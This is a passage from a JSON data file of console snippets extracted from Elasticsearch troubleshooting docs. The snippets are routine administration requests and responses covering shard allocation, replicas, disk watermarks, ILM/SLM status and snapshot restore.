\"migrated_component_templates\":[\"a-component-template\"] <5>\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":208},"digest":"2a47d11c6e19c9da5104e738359ea8a8","lang":"console","found":["ruby"],"source":"POST /_ilm/start"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/migrate-to-data-tiers-routing-guide.asciidoc","line":215},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":55},"digest":"23074748d6c978176df5b04265e88938","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.include._tier_preference?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":64},"digest":"b9ebe83a662a2c1a91fe1555c4a66e26","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":118},"digest":"aa1771b702f4b771491ba4ab743a9197","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.number_of_replicas"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":125},"digest":"12305f16f79caf1b1f76e83d65618b3b","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"settings\" : {\n \"index\" : {\n \"number_of_replicas\" : \"2\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":145},"digest":"b45c60f908b329835ab40609423f378e","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?h=node.role"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":153},"digest":"fd77431de2d125feff32123a777642c4","lang":"console-result","found":[],"source":"himrst\nmv\nhimrst"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":172},"digest":"766cfc1c9fcd2c186e965761ceb2c07d","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"number_of_replicas\" : 1 <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":207},"digest":"23074748d6c978176df5b04265e88938","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.include._tier_preference?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":216},"digest":"b9ebe83a662a2c1a91fe1555c4a66e26","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":245},"digest":"aa1771b702f4b771491ba4ab743a9197","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.number_of_replicas"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":252},"digest":"12305f16f79caf1b1f76e83d65618b3b","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"settings\" : {\n \"index\" : {\n \"number_of_replicas\" : \"2\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":272},"digest":"b45c60f908b329835ab40609423f378e","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?h=node.role"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":280},"digest":"fd77431de2d125feff32123a777642c4","lang":"console-result","found":[],"source":"himrst\nmv\nhimrst"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-tier-capacity.asciidoc","line":300},"digest":"766cfc1c9fcd2c186e965761ceb2c07d","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"number_of_replicas\" : 1 <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":54},"digest":"931da02a06953a768f4ad3fecfd7b2df","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.total_shards_per_node?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":61},"digest":"aba082ff0520383b32db5a3214c46656","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.total_shards_per_node\": \"1\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":78},"digest":"0a84c5b7c0793be745b13eaf13e94422","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"routing.allocation.total_shards_per_node\" : \"2\" <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":109},"digest":"23074748d6c978176df5b04265e88938","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.include._tier_preference?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":118},"digest":"b9ebe83a662a2c1a91fe1555c4a66e26","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":147},"digest":"931da02a06953a768f4ad3fecfd7b2df","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.total_shards_per_node?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":156},"digest":"aba082ff0520383b32db5a3214c46656","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.total_shards_per_node\": \"1\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/total-shards-per-node.asciidoc","line":174},"digest":"091200b658023db31dffc2f08a85a9cc","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index\" : {\n \"routing.allocation.total_shards_per_node\" : -1\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":53},"digest":"3dd45f65e7bfe207e8d796118f25613c","lang":"console","found":["ruby"],"source":"GET /_cluster/settings?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":60},"digest":"7e81edbef4d7fe6db7104ee67156b5c8","lang":"console-result","found":[],"source":"{\n \"persistent\": {\n \"cluster.routing.allocation.total_shards_per_node\": \"300\" <1>\n },\n \"transient\": {}\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":78},"digest":"06d65e3505dcb306977185e8545cf4a8","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.routing.allocation.total_shards_per_node\" : 400 <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":109},"digest":"23074748d6c978176df5b04265e88938","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_settings/index.routing.allocation.include._tier_preference?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":118},"digest":"b9ebe83a662a2c1a91fe1555c4a66e26","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"settings\": {\n \"index.routing.allocation.include._tier_preference\": \"data_warm,data_hot\" <1>\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":147},"digest":"3dd45f65e7bfe207e8d796118f25613c","lang":"console","found":["ruby"],"source":"GET /_cluster/settings?flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":154},"digest":"7e81edbef4d7fe6db7104ee67156b5c8","lang":"console-result","found":[],"source":"{\n \"persistent\": {\n \"cluster.routing.allocation.total_shards_per_node\": \"300\" <1>\n },\n \"transient\": {}\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/increase-cluster-shard-limit.asciidoc","line":172},"digest":"06d65e3505dcb306977185e8545cf4a8","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.routing.allocation.total_shards_per_node\" : 400 <1>\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-data-node-capacity.asciidoc","line":47},"digest":"60299454aa19fec15a604a0dd06fe522","lang":"console","found":["ruby"],"source":"GET _cluster/settings?include_defaults&filter_path=*.cluster.routing.allocation.disk.watermark.high*"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-data-node-capacity.asciidoc","line":54},"digest":"9b746fcc801c675172f3064a466b16c4","lang":"console-result","found":[],"source":"{\n \"defaults\": {\n \"cluster\": {\n \"routing\": {\n \"allocation\": {\n \"disk\": {\n \"watermark\": {\n \"high\": \"90%\",\n \"high.max_headroom\": \"150GB\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-data-node-capacity.asciidoc","line":81},"digest":"35fc63cbefce7bc131ad467b5ba209ef","lang":"console","found":["ruby"],"source":"GET _cat/allocation?v&s=disk.avail&h=node,disk.percent,disk.avail,disk.total,disk.used,disk.indices,shards"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-data-node-capacity.asciidoc","line":88},"digest":"df8fc2a737d468bb10719e6832bfda75","lang":"console-result","found":[],"source":"node disk.percent disk.avail disk.total disk.used disk.indices shards\ninstance-0000000000 91 4.6gb 35gb 31.1gb 29.9gb 111"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-data-node-capacity.asciidoc","line":104},"digest":"4989cc97ce1c8fff634a10d343031bd0","lang":"console","found":["ruby"],"source":"GET /_cat/shards?v&h=state,node&s=state"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/decrease-data-node-disk-usage.asciidoc","line":45},"digest":"60299454aa19fec15a604a0dd06fe522","lang":"console","found":["ruby"],"source":"GET _cluster/settings?include_defaults&filter_path=*.cluster.routing.allocation.disk.watermark.high*"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/decrease-data-node-disk-usage.asciidoc","line":52},"digest":"9b746fcc801c675172f3064a466b16c4","lang":"console-result","found":[],"source":"{\n \"defaults\": {\n \"cluster\": {\n \"routing\": {\n \"allocation\": {\n \"disk\": {\n \"watermark\": {\n \"high\": \"90%\",\n \"high.max_headroom\": \"150GB\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/decrease-data-node-disk-usage.asciidoc","line":79},"digest":"35fc63cbefce7bc131ad467b5ba209ef","lang":"console","found":["ruby"],"source":"GET _cat/allocation?v&s=disk.avail&h=node,disk.percent,disk.avail,disk.total,disk.used,disk.indices,shards"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/decrease-data-node-disk-usage.asciidoc","line":86},"digest":"df8fc2a737d468bb10719e6832bfda75","lang":"console-result","found":[],"source":"node disk.percent disk.avail disk.total disk.used disk.indices shards\ninstance-0000000000 91 4.6gb 35gb 31.1gb 29.9gb 111"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/decrease-data-node-disk-usage.asciidoc","line":103},"digest":"f6de702c3d097af0b0bd391c4f947233","lang":"console","found":["ruby"],"source":"GET _cat/indices?v&s=rep:desc,pri.store.size:desc&h=health,index,pri,rep,store.size,pri.store.size"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/decrease-data-node-disk-usage.asciidoc","line":110},"digest":"7dc96b1dc6df4173c31d22407a7f678d","lang":"console-result","found":[],"source":"health index pri rep store.size pri.store.size\ngreen my_index 2 3 9.9gb 3.3gb\ngreen my_other_index 2 3 1.8gb 470.3mb\ngreen search-products 2 3 278.5kb 69.6kb\ngreen logs-000001 1 0 7.7gb 7.7gb"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/decrease-data-node-disk-usage.asciidoc","line":127},"digest":"c6b365c7da97d7e50f36820a7d36f548","lang":"console","found":["ruby"],"source":"PUT my_index,my_other_index/_settings\n{\n \"index.number_of_replicas\": 1\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-master-node-capacity.asciidoc","line":26},"digest":"60299454aa19fec15a604a0dd06fe522","lang":"console","found":["ruby"],"source":"GET _cluster/settings?include_defaults&filter_path=*.cluster.routing.allocation.disk.watermark.high*"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-master-node-capacity.asciidoc","line":33},"digest":"ff48c30f5c74cfc9a8bb6ac6f9daeba8","lang":"console-result","found":[],"source":"{\n \"defaults\": {\n \"cluster\": {\n \"routing\": {\n \"allocation\": {\n \"disk\": {\n \"watermark\": {\n \"high\": \"90%\",\n \"high.max_headroom\": \"150GB\"\n }\n }\n }\n }\n }\n }"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-master-node-capacity.asciidoc","line":59},"digest":"ed7fa1971ac322aeccd6391ab32d0490","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?v&h=name,master,node.role,disk.used_percent,disk.used,disk.avail,disk.total"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-master-node-capacity.asciidoc","line":66},"digest":"d7fc937139b46a7eeea7b5855807e2d1","lang":"console-result","found":[],"source":"name master node.role disk.used_percent disk.used disk.avail disk.total\ninstance-0000000000 * m 85.31 3.4gb 500mb 4gb\ninstance-0000000001 * m 50.02 2.1gb 1.9gb 4gb\ninstance-0000000002 * m 50.02 1.9gb 2.1gb 4gb"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-master-node-capacity.asciidoc","line":83},"digest":"ed7fa1971ac322aeccd6391ab32d0490","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?v&h=name,master,node.role,disk.used_percent,disk.used,disk.avail,disk.total"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-other-node-capacity.asciidoc","line":27},"digest":"60299454aa19fec15a604a0dd06fe522","lang":"console","found":["ruby"],"source":"GET _cluster/settings?include_defaults&filter_path=*.cluster.routing.allocation.disk.watermark.high*"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-other-node-capacity.asciidoc","line":34},"digest":"ff48c30f5c74cfc9a8bb6ac6f9daeba8","lang":"console-result","found":[],"source":"{\n \"defaults\": {\n \"cluster\": {\n \"routing\": {\n \"allocation\": {\n \"disk\": {\n \"watermark\": {\n \"high\": \"90%\",\n \"high.max_headroom\": \"150GB\"\n }\n }\n }\n }\n }\n }"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-other-node-capacity.asciidoc","line":60},"digest":"b2e20bca1846d7d584626b12eae9f6dc","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?v&h=name,node.role,disk.used_percent,disk.used,disk.avail,disk.total"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-other-node-capacity.asciidoc","line":67},"digest":"062cfee5995ab05885738df00e564983","lang":"console-result","found":[],"source":"name node.role disk.used_percent disk.used disk.avail disk.total\ninstance-0000000000 l 85.31 3.4gb 500mb 4gb"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-other-node-capacity.asciidoc","line":80},"digest":"b2e20bca1846d7d584626b12eae9f6dc","lang":"console","found":["ruby"],"source":"GET /_cat/nodes?v&h=name,node.role,disk.used_percent,disk.used,disk.avail,disk.total"}, {"source_location":{"file":"tab-widgets/troubleshooting/disk/increase-other-node-capacity.asciidoc","line":87},"digest":"8cfa90769e787176e2ab2f5fb77f908e","lang":"console-result","found":[],"source":"name node.role disk.used_percent disk.used disk.avail disk.total\ninstance-0000000000 l 85.31 3.4gb 500mb 4gb\ninstance-0000000001 l 41.31 3.4gb 4.5gb 8gb"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":26},"digest":"72ae3851160fcf02b8e2cdfd4e57d238","lang":"console","found":["ruby"],"source":"POST _ilm/start"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":33},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":44},"digest":"182df084f028479ecbe8d7648ddad892","lang":"console","found":["ruby"],"source":"GET _ilm/status"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":51},"digest":"99e0bec31e49636bc0053ac66bc29352","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"RUNNING\"\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":66},"digest":"72ae3851160fcf02b8e2cdfd4e57d238","lang":"console","found":["ruby"],"source":"POST _ilm/start"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":73},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":84},"digest":"182df084f028479ecbe8d7648ddad892","lang":"console","found":["ruby"],"source":"GET _ilm/status"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-ilm.asciidoc","line":91},"digest":"99e0bec31e49636bc0053ac66bc29352","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"RUNNING\"\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":26},"digest":"371962cf63e65c10026177c6a1bad0b6","lang":"console","found":[],"source":"POST _slm/start"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":33},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":43},"digest":"cde4104a29dfe942d55863cdd8718627","lang":"console","found":["ruby"],"source":"GET _slm/status"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":50},"digest":"99e0bec31e49636bc0053ac66bc29352","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"RUNNING\"\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":63},"digest":"371962cf63e65c10026177c6a1bad0b6","lang":"console","found":[],"source":"POST _slm/start"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":68},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":76},"digest":"cde4104a29dfe942d55863cdd8718627","lang":"console","found":["ruby"],"source":"GET _slm/status"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/start-slm.asciidoc","line":81},"digest":"99e0bec31e49636bc0053ac66bc29352","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"RUNNING\"\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":26},"digest":"2ceded6ee764adf1aaaac0a1cd25ed5f","lang":"console","found":["ruby"],"source":"GET _cat/indices?v&health=red&h=index,status,health"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":33},"digest":"bfa0028824c6ad79f78cd0fd7a143a35","lang":"console-result","found":[],"source":"index status health\n.ds-my-data-stream-2022.06.17-000001 open red\nkibana_sample_data_flights open red"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":48},"digest":"4e926063a9494b563387617b08c4f232","lang":"console","found":["ruby"],"source":"GET _snapshot/my_repository/*?verbose=false"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":56},"digest":"ef9cd9e56719b7eccf056308dac6a792","lang":"console-result","found":[],"source":"{\n \"snapshots\" : [\n {\n \"snapshot\" : \"snapshot-20200617\", <1>\n \"uuid\" : \"dZyPs1HyTwS-cnKdH08EPg\",\n \"repository\" : \"my_repository\", <2>\n \"indices\" : [ <3>\n \".apm-agent-configuration\",\n \".apm-custom-link\",\n \".ds-ilm-history-5-2022.06.17-000001\",\n \".ds-my-data-stream-2022.06.17-000001\",\n \".geoip_databases\",\n \".kibana-event-log-8.2.2-000001\",\n \".kibana_8.2.2_001\",\n \".kibana_task_manager_8.2.2_001\",\n \"kibana_sample_data_ecommerce\",\n \"kibana_sample_data_flights\",\n \"kibana_sample_data_logs\"\n ],\n \"data_streams\" : [ ],\n \"state\" : \"SUCCESS\" <4>\n }\n ],\n \"total\" : 1,\n \"remaining\" : 0\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":101},"digest":"719141517d83b7e8e929b347a8d67c9f","lang":"console","found":["ruby"],"source":"GET kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001?features=settings&flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":109},"digest":"228e6c95dda29cbdeb456a9725e1ebf3","lang":"console-result","found":[],"source":"{\n \".ds-my-data-stream-2022.06.17-000001\" : { <1>\n \"aliases\" : { },\n \"mappings\" : { },\n \"settings\" : { <2>\n \"index.creation_date\" : \"1658406121699\",\n \"index.hidden\" : \"true\",\n \"index.lifecycle.name\" : \"my-lifecycle-policy\",\n \"index.number_of_replicas\" : \"1\",\n \"index.number_of_shards\" : \"1\",\n \"index.provided_name\" : \".ds-my-data-stream-2022.06.17-000001\",\n \"index.routing.allocation.include._tier_preference\" : \"data_hot\",\n \"index.uuid\" : \"HmlFXp6VSu2XbQ-O3hVrwQ\",\n \"index.version.created\" : \"8020299\"\n },\n \"data_stream\" : \"my-data-stream\" <3>\n },\n \"kibana_sample_data_flights\" : { <4>\n \"aliases\" : { },\n \"mappings\" : { },\n \"settings\" : {\n \"index.creation_date\" : \"1655121541454\",\n \"index.number_of_replicas\" : \"0\",\n \"index.number_of_shards\" : \"1\",\n \"index.provided_name\" : \"kibana_sample_data_flights\",\n \"index.routing.allocation.include._tier_preference\" : \"data_content\",\n \"index.uuid\" : \"jMOlwKPPSzSraeeBWyuoDA\",\n \"index.version.created\" : \"8020299\"\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":164},"digest":"1e547696f54582840040b1aa6661760c","lang":"console","found":["ruby"],"source":"POST my-data-stream/_rollover"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":173},"digest":"c28f0b0dd3246cb91d6facb3295a61d7","lang":"console","found":["ruby"],"source":"POST kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001/_close"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":182},"digest":"2ceded6ee764adf1aaaac0a1cd25ed5f","lang":"console","found":["ruby"],"source":"GET _cat/indices?v&health=red&h=index,status,health"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":190},"digest":"cbe594afe7bcef64510d78ff02934450","lang":"console-result","found":[],"source":"index status health\n.ds-my-data-stream-2022.06.17-000001 close red\nkibana_sample_data_flights close red"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":200},"digest":"a699189c8d1a7573beeaea768f2fc618","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/snapshot-20200617/_restore\n{\n \"indices\": \"kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001\", <1>\n \"include_aliases\": true <2>\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":218},"digest":"fd6fdc8fa994dd02cf1177077325304f","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/snapshot-20200617/_restore\n{\n \"feature_states\": [ \"geoip\" ],\n \"indices\": \"kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001\",\n \"include_aliases\": true\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":231},"digest":"734e2b1d1ca84a305240a449738f0eba","lang":"console","found":["ruby"],"source":"GET _cat/indices?v&index=.ds-my-data-stream-2022.06.17-000001,kibana_sample_data_flightsh=index,status,health"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":239},"digest":"3d6986d5be947ec06c5c49287edf9ce5","lang":"console-result","found":[],"source":"index status health\n.ds-my-data-stream-2022.06.17-000001 open green\nkibana_sample_data_flights open green"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":262},"digest":"2ceded6ee764adf1aaaac0a1cd25ed5f","lang":"console","found":["ruby"],"source":"GET _cat/indices?v&health=red&h=index,status,health"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":269},"digest":"bfa0028824c6ad79f78cd0fd7a143a35","lang":"console-result","found":[],"source":"index status health\n.ds-my-data-stream-2022.06.17-000001 open red\nkibana_sample_data_flights open red"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":284},"digest":"4e926063a9494b563387617b08c4f232","lang":"console","found":["ruby"],"source":"GET _snapshot/my_repository/*?verbose=false"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":292},"digest":"ef9cd9e56719b7eccf056308dac6a792","lang":"console-result","found":[],"source":"{\n \"snapshots\" : [\n {\n \"snapshot\" : \"snapshot-20200617\", <1>\n \"uuid\" : \"dZyPs1HyTwS-cnKdH08EPg\",\n \"repository\" : \"my_repository\", <2>\n \"indices\" : [ <3>\n \".apm-agent-configuration\",\n \".apm-custom-link\",\n \".ds-ilm-history-5-2022.06.17-000001\",\n \".ds-my-data-stream-2022.06.17-000001\",\n \".geoip_databases\",\n \".kibana-event-log-8.2.2-000001\",\n \".kibana_8.2.2_001\",\n \".kibana_task_manager_8.2.2_001\",\n \"kibana_sample_data_ecommerce\",\n \"kibana_sample_data_flights\",\n \"kibana_sample_data_logs\"\n ],\n \"data_streams\" : [ ],\n \"state\" : \"SUCCESS\" <4>\n }\n ],\n \"total\" : 1,\n \"remaining\" : 0\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":337},"digest":"719141517d83b7e8e929b347a8d67c9f","lang":"console","found":["ruby"],"source":"GET kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001?features=settings&flat_settings"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":345},"digest":"228e6c95dda29cbdeb456a9725e1ebf3","lang":"console-result","found":[],"source":"{\n \".ds-my-data-stream-2022.06.17-000001\" : { <1>\n \"aliases\" : { },\n \"mappings\" : { },\n \"settings\" : { <2>\n \"index.creation_date\" : \"1658406121699\",\n \"index.hidden\" : \"true\",\n \"index.lifecycle.name\" : \"my-lifecycle-policy\",\n \"index.number_of_replicas\" : \"1\",\n \"index.number_of_shards\" : \"1\",\n \"index.provided_name\" : \".ds-my-data-stream-2022.06.17-000001\",\n \"index.routing.allocation.include._tier_preference\" : \"data_hot\",\n \"index.uuid\" : \"HmlFXp6VSu2XbQ-O3hVrwQ\",\n \"index.version.created\" : \"8020299\"\n },\n \"data_stream\" : \"my-data-stream\" <3>\n },\n \"kibana_sample_data_flights\" : { <4>\n \"aliases\" : { },\n \"mappings\" : { },\n \"settings\" : {\n \"index.creation_date\" : \"1655121541454\",\n \"index.number_of_replicas\" : \"0\",\n \"index.number_of_shards\" : \"1\",\n \"index.provided_name\" : \"kibana_sample_data_flights\",\n \"index.routing.allocation.include._tier_preference\" : \"data_content\",\n \"index.uuid\" : \"jMOlwKPPSzSraeeBWyuoDA\",\n \"index.version.created\" : \"8020299\"\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":400},"digest":"1e547696f54582840040b1aa6661760c","lang":"console","found":["ruby"],"source":"POST my-data-stream/_rollover"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":409},"digest":"c28f0b0dd3246cb91d6facb3295a61d7","lang":"console","found":["ruby"],"source":"POST kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001/_close"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":418},"digest":"2ceded6ee764adf1aaaac0a1cd25ed5f","lang":"console","found":["ruby"],"source":"GET _cat/indices?v&health=red&h=index,status,health"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":426},"digest":"cbe594afe7bcef64510d78ff02934450","lang":"console-result","found":[],"source":"index status health\n.ds-my-data-stream-2022.06.17-000001 close red\nkibana_sample_data_flights close red"}, {"source_location":{"file":"tab-widgets/troubleshooting/data/restore-from-snapshot.asciidoc","line":436},"digest":"a699189c8d1a7573beeaea768f2fc618","lang":"console","found":["ruby"],"source":"POST _snapshot/my_repository/snapshot-20200617/_restore\n{\n \"indices\": \"kibana_sample_data_flights,.ds-my-data-stream-2022.06.17-000001\", <1>\n \"include_aliases\": true 